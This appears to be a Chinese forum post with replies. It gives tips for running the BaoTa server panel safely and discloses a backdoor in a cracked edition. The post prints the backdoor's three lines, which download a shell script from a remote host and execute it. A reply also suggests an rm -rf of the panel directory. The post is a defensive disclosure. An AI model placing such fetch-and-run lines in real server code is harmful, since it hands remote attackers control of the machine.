如何安全的使用宝塔, 最实用的经验(附首发开心版后门)

75次阅读

共计 2177 个字符,预计需要花费 6 分钟才能阅读完成。

如何安全的使用宝塔:
先来问一个问题, 为何要使用宝塔: 方便的安装配置环境, 管理站点.
以下建议满足上述基础需求, 更高需求满足不了.

1, 免费版: 安装完需要的环境软件, 插件. 然后 ssh 里面 service bt stop, 就会停掉 bt 进程, 环境不受影响,cron 类应该只有一个 let 证书续费, 不会链接 bt 官网.
2, 收费版: service bt stop 后, 可能需要定期进后台用到 防护统计, 访问统计等插件, 可以在使用时候 service bt start, 访问后台, 用完再 stop.
bt 进程日常就不应该运行.
3, 开心版 hostcli: 食用方法和上述一致外, 此开心版还加了一个 ” 远程执行后门 “, 可以手动修改, 删除掉代码, 也可以使用.
后门文件在

  1. /www/server/panel/script/check_files.py

复制代码

删除掉最后三行, 这三行是从他服务器上下载一个 sh, 然后执行这个 sh, 目前访问这个地址返回空内容, 后门可能随时启用

  1. checkFile=”/www/server/panel/install/check_bt_file.sh”
  2. wget -O ${checkFile} ‘https://v7.hostcli.com/tools/check_bt_file.sh’                       
  3. . ${checkFile}

复制代码

本人能力有限, 开心版只找到这一个后门, 里面还有没有不好说 … 删掉这三行, 再加上 service bt stop, 应该是安全的.

补充:
根据 https://hostloc.com/forum.php?mod=viewthread&tid=1015859
第三方插件内也可能存在远程执行代码, 原版和开心版都有可能, 可自行下载插件代码分析.

如果有帮助, 请点个赞支持一下, 谢谢.

广告一下:
最近打算发布一款影视搜索源码, 还在打磨中 (主要在建立基础数据库, 现有豆瓣电影 30 多万, 豆瓣评分和 imdb 评分, 后期也会开放 api)
预览地址 http://175.24.2.129/
后台暂不开放预览, 附截图几张
https://tuchuangs.com/imgs/2022/05/12/275b3f9de6499a7c.jpeg
https://tuchuangs.com/imgs/2022/05/12/1826d85756f7f8d5.jpeg
https://tuchuangs.com/imgs/2022/05/12/620ab1f0a886e1ce.jpeg

网友回复:

注册 提醒下,hostcli.com 站長是在東南亞做黑產的(之前看到他在某個站長群裏玩“暗雷”),爲人肯定是沒什麽底綫的,最好別用他家的產品。

bagheera 影视搜索 包含在线观看和下载吗 不包括为啥不用 TMDB https://www.themoviedb.org/

战斗鸡 你是有多喜欢汤唯

mgwx 这影视搜索不错

louiejordan 影视不错。收费的还是免费的呢?

bagheera 少量收费吧, 维护数据太耗时了

挖坑达人 大佬厉害啦,支持一个。。。

laianguo 你的影视搜索源码有没有后门?会不会连你的服务器?

bagheera 谢谢分享

gogoo2 是资源的搜索, 不是影片信息, 我建设影视基础库, 是为了搜索匹配更准确 你可以去搜索一下试试

注册 系统不错,mark 一下

注册 马克 +1

dapeng 我想搞一套 请问有没有群

hdwan.net 影视搜索真的不错啊

uov 开心版果然有后门

bagheera 影视搜索源码 到时 mjj 是否有大优惠

xoia 太牛逼了大佬,这个后台开源吗?这个我根本不知道咋整,太烧脑了 我见过做得更完善的,狐狸的

dole 影视不错,很邢

andox 用的 yu al 的开心版,应该没后门吧

bagheera 看上大佬的影视搜索了

注册 刚才看了下,7.6 版的开心有这个文件,7.4.5 的没有

注册 爬的豆瓣吗?http://175.24.2.129/search.htm?mid=279516&q=%E5%87%BA%E7%A7%9F%E8%BD%A6%E5%8F%B8%E6%9C%BA# 如这个豆瓣几年前就删除了,告知下怎么爬的

ymh1147 https://hostloc.com/forum.php?mod=viewthread&tid=1015859&extra=page%3D3&mobile=2

bagheera ui 很好看

疯狂痴呆 嗯? 没回复成功吗? 豆瓣和谐的影片, 抓 imdb 补充的

bagheera 提醒下,hostcli.com 站長是在東南亞做黑產的(之前看到他在某個站長群裏玩“暗雷”),爲人肯定是沒什麽底綫的,最好別用他家的產品。

btpanel 抓 IMDB,然后再手动翻译下片名,其它就不翻了?

bagheera rm -rf /var/www/panel 不是更香么

longpo 不用翻译, 后台匹配资源时候, 资源有中文

bagheera 停止宝塔了 设置的自动更新是不是 失效了

注册 前排支持大佬深挖。看看还有没有后门

注册 什么自动更新? 宝塔的 cron 也是写在系统 crontab 里面的, 看一下

超级无敌小马甲 mark

bagheera 留名,回头慢慢看

zhongziso 这要顶一波,支持一下啊

wlc1984 参考 https://hostloc.com/thread-1015859-1-2.html

正文完